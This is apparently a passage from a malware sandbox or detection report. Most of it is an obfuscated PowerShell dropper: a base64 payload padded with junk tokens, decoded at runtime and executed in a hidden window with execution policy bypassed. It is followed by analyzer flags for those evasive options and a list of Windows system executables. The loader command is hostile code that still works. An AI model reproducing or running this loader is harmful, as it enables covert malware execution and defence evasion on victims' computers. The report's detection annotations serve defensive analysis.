‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBTzUbP‡ÃKuHUzUbP‡ÃKuYgBzzUbP‡ÃKuHQzUbP‡ÃKucgBpzUbP‡ÃKuG4zUbP‡ÃKuZwzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuQwBvzUbP‡ÃKuG4zUbP‡ÃKudgBlzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBdzUbP‡ÃKuDozUbP‡ÃKuOgBGzUbP‡ÃKuHIzUbP‡ÃKubwBtzUbP‡ÃKuEIzUbP‡ÃKuYQBzzUbP‡ÃKuGUzUbP‡ÃKuNgzUbP‡ÃKu0zUbP‡ÃKuFMzUbP‡ÃKudzUbP‡ÃKuByzUbP‡ÃKuGkzUbP‡ÃKubgBnzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGwzUbP‡ÃKubwBhzUbP‡ÃKuGQzUbP‡ÃKuZQBkzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuUgBlzUbP‡ÃKuGYzUbP‡ÃKubzUbP‡ÃKuBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBpzUbP‡ÃKuG8zUbP‡ÃKubgzUbP‡ÃKuuzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQBdzUbP‡ÃKuDozUbP‡ÃKuOgBMzUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuB0zUbP‡ÃKuHkzUbP‡ÃKuczUbP‡ÃKuBlzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKubzUbP‡ÃKuBvzUbP‡ÃKuGEzUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuGQzUbP‡ÃKuQQBzzUbP‡ÃKuHMzUbP‡ÃKuZQBtzUbP‡ÃKuGIzUbP‡ÃKubzUbP‡ÃKuB5zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuVzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCczUbP‡ÃKuRgBpzUbP‡ÃKuGIzUbP‡ÃKuZQByzUbP‡ÃKuC4zUbP‡ÃKuSzUbP‡ÃKuBvzUbP‡ÃKuG0zUbP‡ÃKuZQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuG0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKudzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuuzUbP‡ÃKuEczUbP‡ÃKuZQB0zUbP‡ÃKuE0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCgzUbP‡ÃKuJwBWzUbP‡ÃKuEEzUbP‡ÃKuSQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKudgBvzUbP‡ÃKuGszUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKubgB1zUbP‡ÃKuGwzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuWwBvzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBbzUbP‡ÃKuF0zUbP‡ÃKuXQzUbP‡ÃKugzUbP‡ÃKuCgzUbP‡ÃKuJwBkzUbP‡ÃKuEgzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKuwzUbP‡ÃKuEwzUbP‡ÃKubQBWzUbP‡ÃKuHUzUbP‡ÃKuYgzUbP‡ÃKuzzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKueQBZzUbP‡ÃKuFYzUbP‡ÃKuYwzUbP‡ÃKuxzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuBNzUbP‡ÃKuHkzUbP‡ÃKuTQBTzUbP‡ÃKuDkzUbP‡ÃKubzUbP‡ÃKuBizUbP‡ÃKuEczUbP‡ÃKubzUbP‡ÃKuBtzUbP‡ÃKuEwzUbP‡ÃKuegBJzUbP‡ÃKuHgzUbP‡ÃKuTQBpzUbP‡ÃKuDQzUbP‡ÃKuegBNzUbP‡ÃKuFQzUbP‡ÃKuRQB1zUbP‡ÃKuE4zUbP‡ÃKuVzUbP‡ÃKuBjzUbP‡ÃKuHgzUbP‡ÃKuTzUbP‡ÃKuBqzUbP‡ÃKuGMzUbP‡ÃKudwBNzUbP‡ÃKuFMzUbP‡ÃKuOzUbP‡ÃKuB2zUbP‡ÃKuE8zUbP‡ÃKubgBCzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuZzUbP‡ÃKuBHzUbP‡ÃKuGczUbP‡ÃKuPQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuDIzUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuMQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuQwzUbP‡ÃKu6zUbP‡ÃKuFwzUbP‡ÃKuVwBpzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKucwBczUbP‡ÃKuFQzUbP‡ÃKuZQBtzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuXzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuKQzUbP‡ÃKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe